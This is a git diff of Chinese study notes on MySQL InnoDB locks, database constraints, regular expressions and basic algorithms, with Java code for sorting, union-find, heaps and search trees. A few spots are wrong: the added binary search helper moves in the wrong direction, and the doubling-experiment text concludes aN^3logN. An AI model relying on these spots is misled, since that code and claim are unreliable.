Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种实现。MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下MVCC + Next-Key Locks就可以防止幻读的出现。
Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种实现。MVCC 不能解决幻读的问题Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下MVCC + Next-Key Locks就可以防止幻读的出现。
## Record Locks
锁定的对象索引而不是数据。如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Lock 依然可以使用。
锁定的对象索引而不是数据。如果表没有设置索引InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Locks 依然可以使用。
## Grap Locks
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c1 中插入 15。
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
```sql
SELECT c1 FROM t WHERE c1 BETWEEN 10 and 20 FOR UPDATE;
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
```
## Next-Key Locks
@ -571,34 +578,34 @@ Entity-Relationship有三个组成部分实体、属性、联系。
<div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg"/> </div><br>
## 十、约束
# 十、约束
### 1. 键码
## 1. 键码
用于唯一表示一个实体。
键码可以由多个属性构成,每个构成键码的属性称为码。
### 2. 单值约束
## 2. 单值约束
某个属性的值是唯一的。
### 3. 引用完整性约束
## 3. 引用完整性约束
一个实体的属性引用的值在另一个实体的某个属性中存在。
### 4. 域约束
## 4. 域约束
某个属性的值在特定范围之内。
### 5. 一般约束
## 5. 一般约束
比如大小约束,数量约束。
# 参考资料
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
- 施瓦茨. 高性能MYSQL(第3版)[M]. 电子工业出版社, 2013.
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)

View File

@ -9,6 +9,7 @@
* [八、回溯引用](#八回溯引用)
* [九、前后查找](#九前后查找)
* [十、嵌入条件](#十嵌入条件)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -18,8 +19,6 @@
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
一个问题往往可以用多种正则表达式方案来解决。
[正则表达式在线工具](http://tool.chinaz.com/regex)
# 二、匹配单个字符
@ -44,7 +43,9 @@ My **name** is Zheng.
**[ ]** 定义一个字符集合;
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定。字符区间只能用在 [ ] 之间,因此 **-** 元字符只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间只能用在 [ ] 之间。
**-** 元字符只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
**^** 是取非操作,必须在 [ ] 字符集合中使用;
@ -69,7 +70,7 @@ abc[^0-9]
## 匹配空白字符
| 元字符 | 说明 |
| ------------ | ------------ |
| :---: | :---: |
| [\b] | 回退(删除)一个字符 |
| \f | 换页符 |
| \n | 换行符 |
@ -79,53 +80,33 @@ abc[^0-9]
\r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n \r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
. 是元字符,前提是没有对它们进行转义; f 和 n 也是元字符,但是前提是对他们进行了转义。
. 是元字符,前提是没有对它们进行转义;f 和 n 也是元字符,但是前提是对它们进行了转义。
## 匹配特定的字符类别
### 1. 数字元字符
| 元字符 | 说明 |
| ------------ | ------------ |
| :---: | :---: |
| \d | 数字字符,等价于 [0-9] |
| \D | 非数字字符,等价于 [^0-9] |
### 2. 字母数字元字符
| 元字符 | 说明 |
| ------------ | ------------ |
| :---: | :---: |
| \w | 大小写字母,下划线和数字,等价于 [a-zA-Z0-9\_] |
| \W | 对 \w 取非 |
### 3. 空白字符元字符
| 元字符 | 说明 |
| ------------ | ------------ |
| :---: | :---: |
| \s | 任何一个空白字符,等价于 [\f\n\r\t\v] |
| \S | 对 \s 取非 |
\x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10 ,等价于 \n也就是它会匹配 \n 。
## 使用 POSIX 字符类
| 字符类 | 说明 |
| --- | --- |
| [:alnum:] | 字母数字字符 |
| [:alpha:] | 字母字符 |
| [:cntrl:] | 控制字符 |
| [:digit:] | 数字字符 |
| [:graph:] | 非空白字符 ( 非空格、控制字符等 ) |
| [:lower:] | 小写字母 |
| [:print:] | 与 [:graph:] 相似,但是包含空格字符 |
| [:punct:] | 标点字符 |
| [:space:] | 所有的空白字符 ( 换行符、空格、制表符 ) |
| [:upper:] | 大写字母 |
| [:xdigit:] | 允许十六进制的数字 (0-9a-fA-F) |
并不是所有正则表达式实现都支持 POSIX 字符类,也不一定使用它。
使用时需要用两对方括号,例如 [[:alpha:]]。
# 五、重复匹配
**\+** 匹配 1 个或者多个字符, **\*** 匹配 0 个或者多个,**?** 匹配 0 个或者 1 个。
@ -149,8 +130,8 @@ abc[^0-9]
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
```
\w+@\w+.\w+
[\w]+@[\w]+.[\w]+
[\w.]+@\w+.\w+
[\w.]+@[\w]+.[\w]+
```
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
@ -195,7 +176,7 @@ a.+c
(?m)^\s*//.*$
```
如果没用 (?m),则只会匹配 // 注释 1 以及之后的所有内容,因为 * 是贪婪型的。用了分行匹配模式之后,换行符被当成是字符串分隔符,因此能正确匹配出两个注释内容。
如果没用 (?m),则只会匹配 // 注释 1 以及之后的所有内容。用了分行匹配模式之后,换行符被当成是字符串分隔符,因此能正确匹配出两个注释内容。
**匹配结果**
@ -257,7 +238,7 @@ a.+c
# 八、回溯引用
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc ,那么回溯引用部分也需要匹配 abc 。
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc那么回溯引用部分也需要匹配 abc 。
**应用**
@ -310,7 +291,7 @@ a.+c
## 大小写转换
| 元字符 | 说明 |
| ---| ---|
| :---: | :---: |
| \l | 把下个字符转换为小写 |
| \u| 把下个字符转换为大写 |
| \L | 把\L 和\E 之间的字符全部转换为小写 |
@ -398,3 +379,7 @@ aBCd
1. **11111**
2. 22222-
3. **33333-4444**
# 参考资料
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.

View File

@ -1,6 +1,5 @@
<!-- GFM-TOC -->
* [一、算法分析](#一算法分析)
* [函数转换](#函数转换)
* [数学模型](#数学模型)
* [ThreeSum](#threesum)
* [倍率实验](#倍率实验)
@ -23,42 +22,27 @@
* [优先队列](#优先队列)
* [应用](#应用)
* [五、查找](#五查找)
* [符号表](#符号表)
* [二分查找实现有序符号表](#二分查找实现有序符号表)
* [二叉查找树](#二叉查找树)
* [2-3 查找树](#2-3-查找树)
* [红黑二叉查找树](#红黑二叉查找树)
* [散列表](#散列表)
* [应用](#应用)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、算法分析
## 函数转换
指数函数可以转换为线性函数,从而在函数图像上显示的更直观。例如
<div align="center"><img src="https://latex.codecogs.com/gif.latex?T(N)=aN^3"/></div> <br>
可以在其两端同时取对数,得到:
<div align="center"><img src="https://latex.codecogs.com/gif.latex?log(T(N))=3logN+loga"/></div> <br>
<div align="center"> <img src="../pics//a9098783-c24a-45b2-a226-725a59b6768e.png" width="800"/> </div><br>
## 数学模型
### 1. 近似
使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数,例如 N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。
<div align="center"> <img src="../pics//81eb9879-40f2-421a-87de-2b953cfe8c32.png" width="800"/> </div><br>
N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。
### 2. 增长数量级
增长数量级将算法与它的实现隔离开来,一个算法的增长数量级为 N<sup>3</sup> 与它是否用 Java 实现,是否运行于特定计算机上无关。
<div align="center"> <img src="../pics//051760ba-e658-401f-9a1c-15adcb405191.png" width="800"/> </div><br>
N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的实现隔离开来,一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现,是否运行于特定计算机上无关。
### 3. 内循环
@ -74,13 +58,13 @@ ThreeSum 用于统计一个数组中三元组的和为 0 的数量。
```java
public class ThreeSum {
public static int count(int[] a) {
int N = a.length;
public int count(int[] nums) {
int N = nums.length;
int cnt = 0;
for (int i = 0; i < N; i++) {
for (int j = i + 1; j < N; j++) {
for (int k = j + 1; k < N; k++) {
if (a[i] + a[j] + a[k] == 0) {
if (nums[i] + nums[j] + nums[k] == 0) {
cnt++;
}
}
@ -91,7 +75,7 @@ public class ThreeSum {
}
```
该算法的内循环为`if (a[i] + a[j] + a[k] == 0)`语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6 - N<sup>2</sup>/2 + N/3因此它的近似执行次数为 \~N<sup>3</sup>/6增长数量级为 N<sup>3</sup>
该算法的内循环为 if(a[i]+a[j]+a[k]==0) 语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3因此它的近似执行次数为 \~N<sup>3</sup>/6增长数量级为 N<sup>3</sup>
<font size=4> **改进** </font></br>
@ -101,21 +85,31 @@ public class ThreeSum {
```java
public class ThreeSumFast {
public static int count(int[] a) {
Arrays.sort(a);
int N = a.length;
public int count(int[] nums) {
Arrays.sort(nums);
int N = nums.length;
int cnt = 0;
for (int i = 0; i < N; i++) {
for (int j = i + 1; j < N; j++) {
// rank() 方法返回元素在数组中的下标,如果元素不存在,这里会返回 -1。
// 应该注意这里的下标必须大于 j否则会重复统计。
if (BinarySearch.rank(-a[i] - a[j], a) > j) {
if (binarySearch(nums, -nums[i] - nums[j]) > j) {
cnt++;
}
}
}
}
return cnt;
}
private int binarySearch(int[] nums, int target) {
int l = 0, h = nums.length - 1;
while (l <= h) {
int m = l + (h - l) / 2;
if (target == nums[m]) return m;
else if (target > nums[m]) h = m - 1;
else l = m + 1;
}
return -1;
}
}
```
@ -125,9 +119,16 @@ public class ThreeSumFast {
例如对于暴力方法的 ThreeSum 算法,近似时间为 \~N<sup>3</sup>/6。进行如下实验多次运行该算法每次取的 N 值为前一次的两倍,统计每次执行的时间,并统计本次运行时间与前一次运行时间的比值,得到如下结果:
<div align="center"> <img src="../pics//2093ccfa-e560-44f3-84c7-487d66451708.png" width="300"/> </div><br>
| N | Time | Ratio |
| :---: | :---: | :---: |
| 250 | 0.0 | 2.7 |
| 500 | 0.0 | 4.8 |
| 1000 | 0.1 | 6.9 |
| 2000 | 0.8 | 7.7 |
| 4000 | 6.4 | 8.0 |
| 8000 | 51.1 | 8.0 |
可以看到T(2N)/T(N) \~ 2<sup>3</sup>,因此可以确定 T(N) \~ aN<sup>2</sup>logN。
可以看到T(2N)/T(N) \~ 2<sup>3</sup>,因此可以确定 T(N) \~ aN<sup>3</sup>logN。
## 注意事项
@ -155,9 +156,7 @@ public class ThreeSumFast {
## 栈
first-in-last-out(FILO)
<div align="center"> <img src="../pics//cc7bfdeb-452e-4fae-9bc8-323338b0dedb.png" width="400"/> </div><br>
> First-In-Last-Out
<font size=4> **1. 数组实现** </font></br>
@ -220,12 +219,6 @@ public class ResizeArrayStack<Item> implements Iterable<Item> {
}
```
上面实现使用了泛型Java 不能直接创建泛型数组,只能使用转型来创建。
```java
Item[] arr = (Item[]) new Object[N];
```
<font size=4> **2. 链表实现** </font></br>
需要使用链表的头插法来实现,因为头插法中最后压入栈的元素在链表的开头,它的 next 指针指向前一个压入栈的元素,在弹出元素使就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素称为新的栈顶元素。
@ -265,11 +258,10 @@ public class Stack<Item> {
}
}
```
## 队列
first-in-first-out(FIFO)
<div align="center"> <img src="../pics//d9efd6bd-3f34-497e-911c-16d5ea38ce88.png" width="400"/> </div><br>
> First-In-First-Out
下面是队列的链表实现,需要维护 first 和 last 节点指针,分别指向队首和队尾。
@ -320,21 +312,21 @@ public class Queue<Item> {
# 三、union-find
<font size=4> **概览** </font> <br>
用于解决动态连通性问题,能动态连接两个点,并且判断两个点是否连通。
<div align="center"> <img src="../pics//7e9d0ef2-acd8-44c0-a76b-f0d2f5e76738.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png" width="400"/> </div><br>
<font size=4> **API** </font> <br>
<div align="center"> <img src="../pics//867abc3c-8403-43ef-8847-c1fea32996a5.png" width="800"/> </div><br>
<font size=4> **基本数据结构** </font> <br>
| 方法 | 描述 |
| :---: | :---: |
| UF(int N) | 构造一个大小为 N 的并查集 |
| void union(int p, int q) | 连接 p 和 q 节点 |
| int find(int p) | 查找 p 所在的连通分量 |
| boolean connected(int p, int q) | 判断 p 和 q 节点是否连通 |
```java
public class UF {
// 使用 id 数组来保存点的连通信息
private int[] id;
public UF(int N) {
@ -352,30 +344,36 @@ public class UF {
## quick-find
保证在同一连通分量的所有节点的 id 值相等
可以快速进行 find 操作,即可以快速判断两个节点是否连通
这种方法可以快速取得一个节点的 id 值,并且判断两个节点是否连通。但是 union 的操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
同一连通分量的所有节点的 id 值相等。
但是 union 操作代价却很高,需要将其中一个连通分量中的所有节点 id 值都修改为另一个节点的 id 值。
<div align="center"> <img src="../pics//8f0cc500-5994-4c7a-91a9-62885d658662.png" width="350"/> </div><br>
```java
public int find(int p) {
return id[p];
}
public void union(int p, int q) {
int pID = find(p);
int qID = find(q);
public int find(int p) {
return id[p];
}
public void union(int p, int q) {
int pID = find(p);
int qID = find(q);
if (pID == qID) return;
for (int i = 0; i < id.length; i++) {
if (id[i] == pID) id[i] = qID;
}
if (pID == qID) return;
for (int i = 0; i < id.length; i++) {
if (id[i] == pID) id[i] = qID;
}
}
```
## quick-union
在 union 时只将节点的 id 值指向另一个节点 id 值,不直接用 id 来存储所属的连通分量。这样就构成一个倒置的树形结构,应该注意的是根节点需要指向自己。查找一个节点所属的连通分量时,要一直向上查找直到根节点,并使用根节点的 id 值作为本连通分量的 id 值
可以快速进行 union 操作,只需要修改一个节点的 id 值即可
<div align="center"> <img src="../pics//ae1f3f27-cb47-436d-b8a2-185618851b57.png" width="600"/> </div><br>
但是 find 操作开销很大,因为同一个连通分量的节点 id 值不同id 值只是用来指向另一个节点。因此需要一直向上查找操作,直到找到最上层的节点。
<div align="center"> <img src="../pics//5d4a5181-65fb-4bf2-a9c6-899cab534b44.png" width="350"/> </div><br>
```java
public int find(int p) {
@ -393,7 +391,7 @@ public class UF {
这种方法可以快速进行 union 操作,但是 find 操作和树高成正比,最坏的情况下树的高度为触点的数目。
<div align="center"> <img src="../pics//dcbd1473-96c3-4ace-8b69-2c9342615e7e.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//bfbb11e2-d208-4efa-b97b-24cd40467cd8.png" width="150"/> </div><br>
## 加权 quick-union
@ -401,7 +399,7 @@ public class UF {
理论研究证明,加权 quick-union 算法构造的树深度最多不超过 logN。
<div align="center"> <img src="../pics//7f9a9342-1491-436d-bdd2-0fa94eb0e4f1.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//8229e8e7-a183-4d29-94e6-e8d8537c6ce5.png" width="200"/> </div><br>
```java
public class WeightedQuickUnionUF {
@ -448,7 +446,12 @@ public class WeightedQuickUnionUF {
## 各种 union-find 算法的比较
<div align="center"> <img src="../pics//cae894a9-2424-4de4-ab41-c15d7054a5e7.png" width="800"/> </div><br>
| 算法 | union | find |
| :---: | :---: | :---: |
| quick-find | N | 1 |
| quick-union | 树高 | 树高 |
| 加权 quick-union | lgN | lgN |
| 路径压缩的加权 quick-union | 非常接近 1 | 非常接近 1 |
# 四、排序
@ -476,7 +479,7 @@ private void exch(Comparable[] a, int i, int j){
找到数组中的最小元素,将它与数组的第一个元素交换位置。再从剩下的元素中找到最小的元素,将它与数组的第二个元素交换位置。不断进行这样的操作,直到将整个数组排序。
<div align="center"> <img src="../pics//aa62b91f-3540-4a28-8ea9-045f62ab3bcc.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//ae3fc93a-44d5-4beb-b05a-874bd9c0a657.png" width="200"/> </div><br>
```java
public class Selection {
@ -499,7 +502,7 @@ public class Selection {
插入排序从左到右进行,每次都将当前元素插入到左部已经排序的数组中,使得插入之后左部数组依然有序。
<div align="center"> <img src="../pics//a451b523-7e24-4fae-8e35-c46b14beed68.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//c9a1de44-b1c0-4d13-a654-827d4ef8a723.png" width="200"/> </div><br>
```java
public class Insertion {
@ -518,10 +521,6 @@ public class Insertion {
插入排序对于部分有序数组和小规模数组特别高效。
<font size=3> **选择排序和插入排序的比较** </font> </br>
对于随机排列的无重复主键的数组,插入排序和选择排序的运行时间是平方级别的,两者之比是一个较小的常数。
## 希尔排序
对于大规模的数组,插入排序很慢,因为它只能交换相邻的元素,如果要把元素从一端移到另一端,就需要很多次操作。
@ -530,9 +529,7 @@ public class Insertion {
希尔排序使用插入排序对间隔 h 的序列进行排序,如果 h 很大,那么元素就能很快的移到很远的地方。通过不断减小 h最后令 h=1就可以使得整个数组是有序的。
<div align="center"> <img src="../pics//bed9d745-f971-405d-ba57-bcfa7986c8bd.png" width="500"/> </div><br>
<div align="center"> <img src="../pics//6e8f16d1-7dea-4331-aea0-3dd739db00a4.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//4bb7ed45-ec14-4d31-9da4-94024d9d3b05.png" width="500"/> </div><br>
```java
public class Shell {
@ -560,9 +557,7 @@ public class Shell {
归并排序的思想是将数组分成两部分,分别进行排序,然后归并起来。
<div align="center"> <img src="../pics//8d13ee52-e881-41eb-ad70-678c411f2718.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//b5fed547-a989-4ead-81d5-ea72660faf99.png" width="800"/> </div><br>
<div align="center"> <img src="../pics//8dfb4cc9-26da-45e7-b820-4576fa1cbb0e.png" width="350"/> </div><br>
### 1. 归并方法
@ -591,7 +586,8 @@ public class MergeSort {
### 2. 自顶向下归并排序
<div align="center"> <img src="../pics//c95a18ae-4b97-4fa9-9806-d9ed7b345b42.png" width="800"/> </div><br>
<div align="center"> <img src="../pics//0c55e11c-d3ce-4cd8-b139-028aea6f40e3.png" width="450"/> </div><br>
```java
public static void sort(Comparable[] a) {
@ -610,14 +606,12 @@ private static void sort(Comparable[] a, int lo, int hi) {
因为每次都将问题对半分成两个子问题,而这种对半分的算法复杂度一般为 O(NlogN),因此该归并排序方法的时间复杂度也为 O(NlogN)。
因为小数组的递归操作会过于频繁,因此可以在数组过小时切换到插入排序来提高性能。
小数组的递归操作会过于频繁,可以在数组过小时切换到插入排序来提高性能。
### 3. 自底向上归并排序
先归并那些微型数组,然后成对归并得到的子数组。
<div align="center"> <img src="../pics//4e3faf22-fa80-445e-a57d-594c37bb76e7.png" width="800"/> </div><br>
```java
public static void busort(Comparable[] a) {
int N = a.length;
@ -636,7 +630,7 @@ public static void busort(Comparable[] a) {
归并排序将数组分为两个子数组分别排序,并将有序的子数组归并使得整个数组排序;快速排序通过一个切分元素将数组分为两个子数组,左子数组小于等于切分元素,右子数组大于等于切分元素,将这两个子数组排序也就将整个数组排序了。
<div align="center"> <img src="../pics//202cd47c-ef2f-4c0e-a511-53359553387d.png" width="600"/> </div><br>
<div align="center"> <img src="../pics//ab77240d-7338-4547-9183-00215e7220ec.png" width="500"/> </div><br>
```java
public class QuickSort {
@ -656,9 +650,9 @@ public class QuickSort {
### 2. 切分
取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和左子数组最右侧的元素 a[j] 交换然后返回 j 即可
取 a[lo] 作为切分元素,然后从数组的左端向右扫描直到找到第一个大于等于它的元素,再从数组的右端向左扫描找到第一个小于等于它的元素,交换这两个元素,并不断进行这个过程,就可以保证左指针 i 的左侧元素都不大于切分元素,右指针 j 的右侧元素都不小于切分元素。当两个指针相遇时,将切分元素 a[lo] 和 a[j] 交换位置
<div align="center"> <img src="../pics//037f84c6-b470-42e0-a2d9-fd8cd7e96fa8.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//8af348d0-4d72-4f76-b56c-0a440ed4673d.png" width="400"/> </div><br>
```java
private static int partition(Comparable[] a, int lo, int hi) {
@ -699,8 +693,6 @@ private static int partition(Comparable[] a, int lo, int hi) {
三向切分快速排序对于只有若干不同主键的随机数组可以在线性时间内完成排序。
<div align="center"> <img src="../pics//b43437dd-16b6-4023-bdda-d6f7d6db762e.png" width="400"/> </div><br>
```java
public class Quick3Way {
public static void sort(Comparable[] a, int lo, int hi) {
@ -725,11 +717,12 @@ public class Quick3Way {
### 1. 堆
定义:一颗二叉树的每个节点都大于等于它的两个子节点。
堆的某个节点的值总是大于等于子节点的值,并且堆是一颗完全二叉树。
堆可以用数组来表示,因为堆是一种完全二叉树,而完全二叉树很容易就存储在数组中。位置 k 的节点的父节点位置为 k/2而它的两个子节点的位置分别为 2k 和 2k+1。这里我们不使用数组索引为 0 的位置,是为了更清晰地理解节点的关系。
<div align="center"> <img src="../pics//5144a411-0e46-4a84-a179-c9ad3240418f.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//f3080f83-6239-459b-8e9c-03b6641f7815.png" width="200"/> </div><br>
```java
public class MaxPQ<Key extends Comparable<Key> {
@ -764,7 +757,7 @@ public class MaxPQ<Key extends Comparable<Key> {
在堆中,当一个节点比父节点大,那么需要交换这个两个节点。交换后还可能比它新的父节点大,因此需要不断地进行比较和交换操作。把这种操作称为上浮。
<div align="center"> <img src="../pics//d5659bcf-5ddf-4692-bfe5-f6b480479120.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png" width="400"/> </div><br>
```java
private void swim(int k) {
@ -777,7 +770,7 @@ private void swim(int k) {
类似地,当一个节点比子节点来得小,也需要不断的向下比较和交换操作,把这种操作称为下沉。一个节点有两个子节点,应当与两个子节点中最大那么节点进行交换。
<div align="center"> <img src="../pics//df648536-a107-48cd-a615-77b7a9b4025f.png" width="350"/> </div><br>
<div align="center"> <img src="../pics//72f0ff69-138d-4e54-b7ac-ebe025d978dc.png" width="400"/> </div><br>
```java
private void sink(int k) {
@ -820,11 +813,19 @@ public Key delMax() {
由于堆可以很容易得到最大的元素并删除它,不断地进行这种操作可以得到一个递减序列。如果把最大元素和当前堆中数组的最后一个元素交换位置,并且不删除它,那么就可以得到一个从尾到头的递减序列,从正向来看就是一个递增序列。因此很容易使用堆来进行排序,并且堆排序是原地排序,不占用额外空间。
堆排序要分两个阶段,第一个阶段是把无序数组建立一个堆;第二个阶段是交换最大元素和当前堆的数组最后一个元素,并且进行下沉操作维持堆的有序状态。
**构建堆**
无序数组建立堆最直接的方法是从左到右遍历数组,然后进行上浮操作。一个更高效的方法是从右至左进行下沉操作,如果一个节点的两个节点都已经是堆有序,那么进行下沉操作可以使得这个节点为根节点的堆有序。叶子节点不需要进行下沉操作,因此可以忽略叶子节点的元素,因此只需要遍历一半的元素即可。
<div align="center"> <img src="../pics//750501be-6b8a-4cb5-a807-371a218ee612.png" width="800"/> </div><br>
<div align="center"> <img src="../pics//b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png" width="300"/> </div><br>
**交换堆顶元素与最后一个元素**
交换之后需要进行下沉操作维持堆的有序状态。
<div align="center"> <img src="../pics//51fb761d-8ce0-4472-92ff-2f227ac7888a.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//1f039a45-6b91-4f31-a2c2-6c63eb8bdb56.png" width="300"/> </div><br>
```java
public static void sort(Comparable[] a){
@ -853,9 +854,17 @@ public static void sort(Comparable[] a){
### 1. 排序算法的比较
<div align="center"> <img src="../pics//e4ca3383-910a-4936-8ac2-9e8fd31b736b.png" width="800"/> </div><br>
| 算法 | 稳定 | 原地排序 | 时间复杂度 | 空间复杂度 | 备注 |
| :---: | :---: | :---: | :---: | :---: | :---: |
| 选择排序 | no | yes | N<sup>2</sup> | 1 | |
| 插入排序 | yes | yes | N \~ N<sup>2</sup> | 1 | 时间复杂度和初始顺序有关 |
| 希尔排序 | no | yes | N 的若干倍乘于递增序列的长度 | 1 | |
| 快速排序 | no | yes | NlogN | logN | |
| 三向切分快速排序 | no | yes | N \~ NlogN | logN | 适用于有大量重复主键|
| 归并排序 | yes | no | NlogN | N | |
| 堆排序 | no | yes | NlogN | 1 | | |
快速排序时最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN这里的 c 比其他线性对数级别的排序算法都要小。使用三向切分之后,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。
快速排序最快的通用排序算法,它的内循环的指令很少,而且它还能利用缓存,因为它总是顺序地访问数据。它的运行时间近似为 \~cNlogN这里的 c 比其他线性对数级别的排序算法都要小。使用三向切分之后,实际应用中可能出现的某些分布的输入能够达到线性级别,而其它排序算法仍然需要线性对数时间。
### 2. Java 的排序算法实现
@ -884,25 +893,15 @@ public static Comparable select(Comparable[] a, int k) {
# 五、查找
符号表是一种存储键值对的数据结构,支持两种操作:插入一个新的键值对;根据给定键得到值。
符号表是一种存储键值对的数据结构,主要支持两种操作:插入一个新的键值对、根据给定键得到值。
## 符号表
### 1. 无序符号表
<div align="center"> <img src="../pics//8a116e69-3d57-4987-a215-0197dd044a14.png" width="600"/> </div><br>
### 2. 有序符号表
<div align="center"> <img src="../pics//299a8cd3-7cfa-45d0-8821-4aa577de4692.png" width="600"/> </div><br>
有序指的是支持 min() max() 等根据键的大小关系来实现的操作。
符号表分为有序和无序两种,有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
有序符号表的键需要实现 Comparable 接口。
### 3. 二分查找实现有序符号表
## 二分查找实现有序符号表
使用一对平行数组,一个存储键一个存储值。其中键的数组为 Comparable 数组,值的数为 Object 数组。
使用一对平行数组,一个存储键一个存储值。其中键的数组为 Comparable 数组,值的数组为 Object 数组。
rank() 方法至关重要,当键在表中时,它能够知道该键的位置;当键不在表中时,它也能知道在何处插入新键。
@ -967,17 +966,17 @@ public class BinarySearchST<Key extends Comparable<Key>, Value> {
## 二叉查找树
**二叉树** 定义为一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。
**二叉树** 一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。
<div align="center"> <img src="../pics//0c723f4c-e13d-42f7-aeb2-1f160c7cc4b6.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/> </div><br>
**二叉查找树** BST是一颗二叉树并且每个节点的值都大于其左子树中的所有节点的值而小于右子树的所有节点的值。
<div align="center"> <img src="../pics//1c012d74-6b9d-4f25-a016-7ad4f1f1521898780376.png" width="400"/> </div><br>
<div align="center"> <img src="../pics//8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/> </div><br>
BST 有一个重要性质,就是它的序遍历结果递增排序。
BST 有一个重要性质,就是它的序遍历结果递增排序。
<div align="center"> <img src="../pics//5c0bb285-b917-446b-84a2-9810ee41521898714517.png" width="300"/> </div><br>
<div align="center"> <img src="../pics//05e41947-3cbc-4f02-a428-96765ec916ff.png" width="200"/> </div><br>
基本数据结构:
@ -1010,13 +1009,15 @@ public class BST<Key extends Comparable<Key>, Value> {
}
```
(为了方便绘图,二叉树的空链接不画出来。)
### 1. get()
- 如果树是空的,则查找未命中;
- 如果被查找的键和根节点的键相等,查找命中;
- 否则递归地在子树中查找:如果被查找的键较小就在左子树中查找,较大就在右子树中查找。
BST 的查找操作每次递归都会让区间减少一半,和二分查找类似,因此查找的复杂度为 O(logn)。
BST 的查找操作每次递归都会让区间减少一半,和二分查找类似,因此查找的复杂度为 O(logN)。
```java
public Value get(Key key) {
@ -1035,7 +1036,7 @@ private Value get(Node x, Key key) {
当插入的键不存在于树中,需要创建一个新节点,并且更新上层节点的链接使得该节点正确链接到树中。
<div align="center"> <img src="../pics//78570a06-0781-4f9d-9093-70a87111521898809910.jpg" width="400"/> </div><br>
<div align="center"> <img src="../pics//107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/> </div><br>
```java
public void put(Key key, Value val) {
@ -1054,9 +1055,13 @@ private Node put(Node x, Key key, Value val) {
### 3. 分析
二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。在最坏的情况下,树的高度为 N。
